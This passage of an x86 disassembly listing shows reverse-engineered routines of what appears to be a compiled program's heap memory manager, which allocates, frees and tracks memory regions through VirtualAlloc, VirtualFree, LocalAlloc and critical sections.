		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40110F:				; CODE XREF: sub_4010EC+1Cj
		mov	eax, dword_4055CC
		mov	[ecx], eax
		mov	dword_4055CC, ecx
		xor	edx, edx


loc_40111E:				; CODE XREF: sub_4010EC+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_40111E


loc_401132:				; CODE XREF: sub_4010EC+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_4010EC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_40113C	proc near		; CODE XREF: sub_401778+33p
					; sub_401778+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_40113C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_401144	proc near		; CODE XREF: sub_40118C+5Dp
					; sub_4011FC+73p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_4010EC
		test	eax, eax
		jnz	short loc_401158
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401158:				; CODE XREF: sub_401144+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_401144	endp


; =============== S U B	R O U T	I N E =======================================



sub_401174	proc near		; CODE XREF: sub_40118C+2Cp
					; sub_40118C+48p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, dword_4055D0
		mov	[eax], edx
		mov	dword_4055D0, eax
		retn
sub_401174	endp


; =============== S U B	R O U T	I N E =======================================



sub_40118C	proc near		; CODE XREF: sub_401538+6Cp
					; sub_4015C8+62p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+14h+var_14], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+14h+var_14]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx


loc_4011A8:				; CODE XREF: sub_40118C+57j
		mov	edi, [ebx]
		mov	eax, [esi]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnz	short loc_4011CA
		mov	eax, ebx
		call	sub_401174
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_4011DF
; ---------------------------------------------------------------------------


loc_4011CA:				; CODE XREF: sub_40118C+28j
		add	eax, [esi+4]
		cmp	eax, [ebx+8]
		jnz	short loc_4011DF
		mov	eax, ebx
		call	sub_401174
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax


loc_4011DF:				; CODE XREF: sub_40118C+3Cj
					; sub_40118C+44j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_4011A8
		mov	edx, esi
		mov	eax, ebp
		call	sub_401144
		test	al, al
		jnz	short loc_4011F6
		xor	eax, eax
		mov	[esi], eax


loc_4011F6:				; CODE XREF: sub_40118C+64j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40118C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011FC	proc near		; CODE XREF: sub_4016EC+7Ap
					; sub_401AD4+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx


loc_401207:				; CODE XREF: sub_4011FC+88j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_401280
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_401280
		cmp	esi, eax
		jnz	short loc_40123D
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_40127C
		mov	eax, ebx
		call	sub_401174
		jmp	short loc_40127C
; ---------------------------------------------------------------------------


loc_40123D:				; CODE XREF: sub_4011FC+24j
		mov	ecx, esi
		mov	edi, [edx+4]
		add	ecx, edi
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		jnz	short loc_401252
		sub	[ebx+0Ch], edi
		jmp	short loc_40127C
; ---------------------------------------------------------------------------


loc_401252:				; CODE XREF: sub_4011FC+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+18h+var_18], ecx
		mov	edi, [ebx+8]
		add	edi, [ebx+0Ch]
		sub	edi, ecx
		mov	[esp+18h+var_14], edi
		sub	esi, eax
		mov	[ebx+0Ch], esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_401144
		test	al, al
		jnz	short loc_40127C
		xor	eax, eax
		jmp	short loc_401288
; ---------------------------------------------------------------------------


loc_40127C:				; CODE XREF: sub_4011FC+36j
					; sub_4011FC+3Fj ...
		mov	al, 1
		jmp	short loc_401288
; ---------------------------------------------------------------------------


loc_401280:				; CODE XREF: sub_4011FC+12j
					; sub_4011FC+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_401207
		xor	eax, eax


loc_401288:				; CODE XREF: sub_4011FC+7Ej
					; sub_4011FC+82j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4011FC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_401290	proc near		; CODE XREF: sub_401538+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_4012A6
		mov	esi, 100000h
		jmp	short loc_4012B2
; ---------------------------------------------------------------------------


loc_4012A6:				; CODE XREF: sub_401290+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_4012B2:				; CODE XREF: sub_401290+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_4010BC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_4012EF
		mov	edx, ebx
		mov	eax, offset dword_4055D4
		call	sub_401144
		test	al, al
		jnz	short loc_4012EF
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010C4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_4012EF:				; CODE XREF: sub_401290+3Aj
					; sub_401290+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401290	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_4012F4	proc near		; CODE XREF: sub_4015C8+4Cp
					; sub_4015C8+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_4010BC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_40133E
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_4010BC	; VirtualAlloc
		mov	[ebx], eax


loc_40133E:				; CODE XREF: sub_4012F4+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_401366
		mov	edx, ebx
		mov	eax, offset dword_4055D4
		call	sub_401144
		test	al, al
		jnz	short loc_401366
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010C4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_401366:				; CODE XREF: sub_4012F4+4Dj
					; sub_4012F4+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012F4	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_40136C	proc near		; CODE XREF: sub_401538+7Ep
					; sub_4015C8+7Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	[esp+24h+var_24], edx
		mov	[esp+24h+var_1C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+24h+var_18], edx
		mov	ebp, eax
		mov	eax, [esp+24h+var_24]
		add	eax, ebp
		mov	[esp+24h+var_14], eax
		mov	ebx, dword_4055D4
		jmp	short loc_4013EC
; ---------------------------------------------------------------------------


loc_40139B:				; CODE XREF: sub_40136C+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_4013EA
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_14]
		ja	short loc_4013EA
		cmp	esi, [esp+24h+var_1C]
		jnb	short loc_4013B9
		mov	[esp+24h+var_1C], esi


loc_4013B9:				; CODE XREF: sub_40136C+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_18]
		jbe	short loc_4013C8
		mov	[esp+24h+var_18], eax


loc_4013C8:				; CODE XREF: sub_40136C+56j
		push	8000h
		push	0
		push	esi
		call	sub_4010C4	; VirtualFree
		test	eax, eax
		jnz	short loc_4013E3
		mov	dword_4055B0, 1


loc_4013E3:				; CODE XREF: sub_40136C+6Bj
		mov	eax, ebx
		call	sub_401174


loc_4013EA:				; CODE XREF: sub_40136C+36j
					; sub_40136C+41j
		mov	ebx, edi


loc_4013EC:				; CODE XREF: sub_40136C+2Dj
		cmp	ebx, offset dword_4055D4
		jnz	short loc_40139B
		mov	eax, [esp+24h+var_20]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+24h+var_18], 0
		jz	short loc_40141C
		mov	eax, [esp+24h+var_20]
		mov	edx, [esp+24h+var_1C]
		mov	[eax], edx
		mov	eax, [esp+24h+var_18]
		sub	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_20]
		mov	[edx+4], eax


loc_40141C:				; CODE XREF: sub_40136C+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40136C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401424	proc near		; CODE XREF: sub_401538+2Dp
					; sub_4015C8+E6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_18], ecx
		mov	[esp+1Ch+var_1C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+1Ch+var_1C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+1Ch+var_14], edx
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_14]
		sub	eax, ebp
		mov	edx, [esp+1Ch+var_18]
		mov	[edx+4], eax
		mov	esi, dword_4055D4
		jmp	short loc_4014A6
; ---------------------------------------------------------------------------


loc_40146A:				; CODE XREF: sub_401424+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_401478
		mov	ebx, ebp


loc_401478:				; CODE XREF: sub_401424+50j
		cmp	edi, [esp+1Ch+var_14]
		jbe	short loc_401482
		mov	edi, [esp+1Ch+var_14]


loc_401482:				; CODE XREF: sub_401424+58j
		cmp	edi, ebx
		jbe	short loc_4014A4
		push	4
		push	1000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_4010BC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4014A4
		mov	eax, [esp+1Ch+var_18]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_4014AE
; ---------------------------------------------------------------------------


loc_4014A4:				; CODE XREF: sub_401424+60j
					; sub_401424+74j
		mov	esi, [esi]


loc_4014A6:				; CODE XREF: sub_401424+44j
		cmp	esi, offset dword_4055D4
		jnz	short loc_40146A


loc_4014AE:				; CODE XREF: sub_401424+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401424	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_4014B8	proc near		; CODE XREF: sub_4016EC+2Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+14h+var_14], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+14h+var_14]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+14h+var_14]
		mov	[ecx+4], eax
		mov	esi, dword_4055D4
		jmp	short loc_401527
; ---------------------------------------------------------------------------


loc_4014EF:				; CODE XREF: sub_4014B8+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+14h+var_14]
		jnb	short loc_4014FF
		mov	ebx, [esp+14h+var_14]


loc_4014FF:				; CODE XREF: sub_4014B8+42j
		cmp	ebp, edi
		jnb	short loc_401505
		mov	edi, ebp


loc_401505:				; CODE XREF: sub_4014B8+49j
		cmp	edi, ebx
		jbe	short loc_401525
		push	4000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_4010C4	; VirtualFree
		test	eax, eax
		jnz	short loc_401525
		mov	dword_4055B0, 2


loc_401525:				; CODE XREF: sub_4014B8+4Fj
					; sub_4014B8+61j
		mov	esi, [esi]


loc_401527:				; CODE XREF: sub_4014B8+35j
		cmp	esi, offset dword_4055D4
		jnz	short loc_4014EF
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4014B8	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_401538	proc near		; CODE XREF: sub_401CE4+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset dword_4055E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_401554:				; CODE XREF: sub_401538+75j
		mov	ebx, [ebp+0]
		jmp	short loc_40158C
; ---------------------------------------------------------------------------


loc_401559:				; CODE XREF: sub_401538+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_40158A
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_401424
		cmp	dword ptr [esi], 0
		jz	short loc_4015BF
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_4015BF
		mov	eax, ebx
		call	sub_401174
		jmp	short loc_4015BF
; ---------------------------------------------------------------------------


loc_40158A:				; CODE XREF: sub_401538+24j
		mov	ebx, [ebx]


loc_40158C:				; CODE XREF: sub_401538+1Fj
		cmp	ebx, ebp
		jnz	short loc_401559
		mov	edx, esi
		mov	eax, edi
		call	sub_401290
		cmp	dword ptr [esi], 0
		jz	short loc_4015BF
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_40118C
		cmp	[esp+18h+var_18], 0
		jnz	short loc_401554
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_40136C
		xor	eax, eax
		mov	[esi], eax


loc_4015BF:				; CODE XREF: sub_401538+35j
					; sub_401538+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401538	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_4015C8	proc near		; CODE XREF: sub_401D10+10p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset dword_4055E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_4015E7:				; CODE XREF: sub_4015C8+6Cj
					; sub_4015C8+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_4015EE
; ---------------------------------------------------------------------------


loc_4015EC:				; CODE XREF: sub_4015C8+2Dj
		mov	ebx, [ebx]


loc_4015EE:				; CODE XREF: sub_4015C8+22j
		cmp	ebx, ebp
		jz	short loc_4015F7
		cmp	esi, [ebx+8]
		jnz	short loc_4015EC


loc_4015F7:				; CODE XREF: sub_4015C8+28j
		cmp	esi, [ebx+8]
		jnz	short loc_401653
		cmp	edi, [ebx+0Ch]
		jle	loc_40169B
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_4012F4
		cmp	[esp+24h+var_20], 0
		jz	short loc_401653
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_40118C
		cmp	[esp+24h+var_18], 0
		jnz	short loc_4015E7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_40136C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_4016E3
; ---------------------------------------------------------------------------


loc_401653:				; CODE XREF: sub_4015C8+32j
					; sub_4015C8+56j
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		mov	eax, esi
		call	sub_4012F4
		cmp	[esp+24h+var_20], 0
		jz	short loc_40169B
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_40118C
		cmp	[esp+24h+var_18], 0
		jnz	loc_4015E7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_40136C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_4016E3
; ---------------------------------------------------------------------------


loc_40169B:				; CODE XREF: sub_4015C8+37j
					; sub_4015C8+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_4016DC
		cmp	edi, [ebx+0Ch]
		jg	short loc_4016DC
		mov	ecx, [esp+24h+var_24]
		mov	edx, edi
		mov	eax, ebp
		call	sub_401424
		mov	eax, [esp+24h+var_24]
		cmp	dword ptr [eax], 0
		jz	short loc_4016E3
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_4016E3
		mov	eax, ebx
		call	sub_401174
		jmp	short loc_4016E3
; ---------------------------------------------------------------------------


loc_4016DC:				; CODE XREF: sub_4015C8+D8j
					; sub_4015C8+DDj
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx


loc_4016E3:				; CODE XREF: sub_4015C8+86j
					; sub_4015C8+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015C8	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_4016EC	proc near		; CODE XREF: sub_401AD4+4Ep
					; sub_401AD4+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+20h+var_20], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+20h+var_20]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_40176D
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_4014B8
		lea	ecx, [esp+20h+var_1C]
		mov	edx, edi
		mov	eax, offset dword_4055E4
		call	sub_40118C
		mov	ebx, [esp+20h+var_1C]
		test	ebx, ebx
		jz	short loc_401756
		lea	ecx, [esp+20h+var_14]
		mov	edx, [esp+20h+var_18]
		mov	eax, ebx
		call	sub_40136C
		mov	eax, [esp+20h+var_14]
		mov	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_10]
		mov	[esp+20h+var_18], eax


loc_401756:				; CODE XREF: sub_4016EC+49j
		cmp	[esp+20h+var_1C], 0
		jz	short loc_401771
		lea	edx, [esp+20h+var_1C]
		mov	eax, offset dword_4055E4
		call	sub_4011FC
		jmp	short loc_401771
; ---------------------------------------------------------------------------


loc_40176D:				; CODE XREF: sub_4016EC+24j
		xor	eax, eax
		mov	[edi], eax


loc_401771:				; CODE XREF: sub_4016EC+6Fj
					; sub_4016EC+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4016EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401778	proc near		; CODE XREF: sub_401E64+14p
					; sub_401FF4+19p ...
		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset word_40182E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_4055B4
		call	sub_4010CC	; InitializeCriticalSection
		cmp	byte_405035, 0
		jz	short loc_4017A6
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection


loc_4017A6:				; CODE XREF: sub_401778+22j
		mov	eax, offset dword_4055D4
		call	sub_40113C
		mov	eax, offset dword_4055E4
		call	sub_40113C
		mov	eax, offset dword_405610
		call	sub_40113C
		push	0FF8h
		push	0
		call	sub_4010AC	; LocalAlloc
		mov	dword_40560C, eax
		cmp	dword_40560C, 0
		jz	short loc_40180D
		mov	eax, 3


loc_4017E3:				; CODE XREF: sub_401778+7Dj
		mov	edx, dword_40560C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_4017E3
		mov	eax, offset dword_4055F4
		mov	[eax+4], eax
		mov	[eax], eax
		mov	dword_405600, eax
		mov	byte_4055AC, 1


loc_40180D:				; CODE XREF: sub_401778+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset aAmu@	; " ¬U@"
		cmp	byte_405035, 0
		jz	short locret_40182D
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_40182D:				; CODE XREF: sub_401778+A9j
		retn
sub_401778	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
word_40182E	dw 55E9h		; DATA XREF: sub_3D4B78+6o
					; sub_401778+6o
		dd 0EB000011h
		db 0E5h
aAmu@		db ' ¬U@',0             ; DATA XREF: sub_3D4B78+9Do
					; sub_401778+9Do
		dw 0C35Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40183C	proc near		; CODE XREF: .data:00403113p
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	byte_4055AC, 0
		jz	loc_401919
		xor	edx, edx
		push	ebp
		push	offset word_401912
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	byte_405035, 0
		jz	short loc_40186E
		push	offset dword_4055B4
		call	sub_4010D4	; RtlEnterCriticalSection


loc_40186E:				; CODE XREF: sub_40183C+26j
		mov	byte_4055AC, 0
		mov	eax, dword_40560C
		push	eax
		call	sub_4010B4	; LocalFree
		xor	eax, eax
		mov	dword_40560C, eax
		mov	ebx, dword_4055D4
		jmp	short loc_4018A1
; ---------------------------------------------------------------------------


loc_40188F:				; CODE XREF: sub_40183C+6Bj
		push	8000h
		push	0
		mov	eax, [ebx+8]
		push	eax
		call	sub_4010C4	; VirtualFree
		mov	ebx, [ebx]


loc_4018A1:				; CODE XREF: sub_40183C+51j
		cmp	ebx, offset dword_4055D4
		jnz	short loc_40188F
		mov	eax, offset dword_4055D4
		call	sub_40113C
		mov	eax, offset dword_4055E4
		call	sub_40113C
		mov	eax, offset dword_405610
		call	sub_40113C
		mov	eax, dword_4055CC
		test	eax, eax
		jz	short loc_4018E7


loc_4018D0:				; CODE XREF: sub_40183C+A9j
		mov	edx, [eax]
		mov	dword_4055CC, edx
		push	eax
		call	sub_4010B4	; LocalFree
		mov	eax, dword_4055CC
		test	eax, eax
		jnz	short loc_4018D0


loc_4018E7:				; CODE XREF: sub_40183C+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401919
		cmp	byte_405035, 0
		jz	short loc_401907
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection


loc_401907:				; CODE XREF: sub_40183C+BFj
		push	offset dword_4055B4
		call	sub_4010E4	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------
word_401912	dw 71E9h		; DATA XREF: sub_3D4C3C+14o
					; sub_40183C+14o
		dd 0EB000010h
		db 0DBh
; ---------------------------------------------------------------------------


loc_401919:				; CODE XREF: sub_40183C+Bj
					; DATA XREF: sub_3D4C3C+B3o ...
		pop	ebx
		pop	ebp
		retn
sub_40183C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40191C	proc near		; CODE XREF: sub_401A2C:loc_401A8Dp
					; sub_401A9C+23p ...
		push	ebx
		cmp	eax, dword_405600
		jnz	short loc_40192E
		mov	edx, [eax+4]
		mov	dword_405600, edx


loc_40192E:				; CODE XREF: sub_40191C+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_401974
		cmp	eax, edx
		jnz	short loc_401957
		test	ecx, ecx
		jns	short loc_401947
		add	ecx, 3


loc_401947:				; CODE XREF: sub_40191C+26j
		sar	ecx, 2
		mov	eax, dword_40560C
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_40197B
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_40191C+22j
		test	ecx, ecx
		jns	short loc_40195E
		add	ecx, 3


loc_40195E:				; CODE XREF: sub_40191C+3Dj
		sar	ecx, 2
		mov	ebx, dword_40560C
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401974:				; CODE XREF: sub_40191C+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx


loc_40197B:				; CODE XREF: sub_40191C+39j
		pop	ebx
		retn
sub_40191C	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_401980	proc near		; CODE XREF: sub_401AD4+11p
		mov	edx, dword_405610
		jmp	short loc_401998
; ---------------------------------------------------------------------------


loc_401988:				; CODE XREF: sub_401980+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_401996
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_4019AC


loc_401996:				; CODE XREF: sub_401980+Dj
		mov	edx, [edx]


loc_401998:				; CODE XREF: sub_401980+6j
		cmp	edx, offset dword_405610
		jnz	short loc_401988
		mov	dword_4055B0, 3
		xor	edx, edx


loc_4019AC:				; CODE XREF: sub_401980+14j
		mov	eax, edx
		retn
sub_401980	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_4019B0	proc near		; CODE XREF: sub_401AD4+74p
					; sub_401C58+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_4019CD
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_401B84
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4019CD:				; CODE XREF: sub_4019B0+Cj
		cmp	edx, 4
		jl	short loc_4019DE
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx


loc_4019DE:				; CODE XREF: sub_4019B0+20j
		pop	ebx
		retn
sub_4019B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019E0	proc near		; CODE XREF: sub_401A04+Dp
					; sub_401C0C+36p ...
		inc	dword_40559C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	dword_4055A0, edx
		call	sub_401FF4
		retn
sub_4019E0	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_401A04	proc near		; CODE XREF: sub_401AD4+8Ep
		cmp	edx, 0Ch
		jl	short loc_401A17
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_4019E0
		retn
; ---------------------------------------------------------------------------


loc_401A17:				; CODE XREF: sub_401A04+3j
		cmp	edx, 4
		jl	short loc_401A26
		mov	ecx, edx
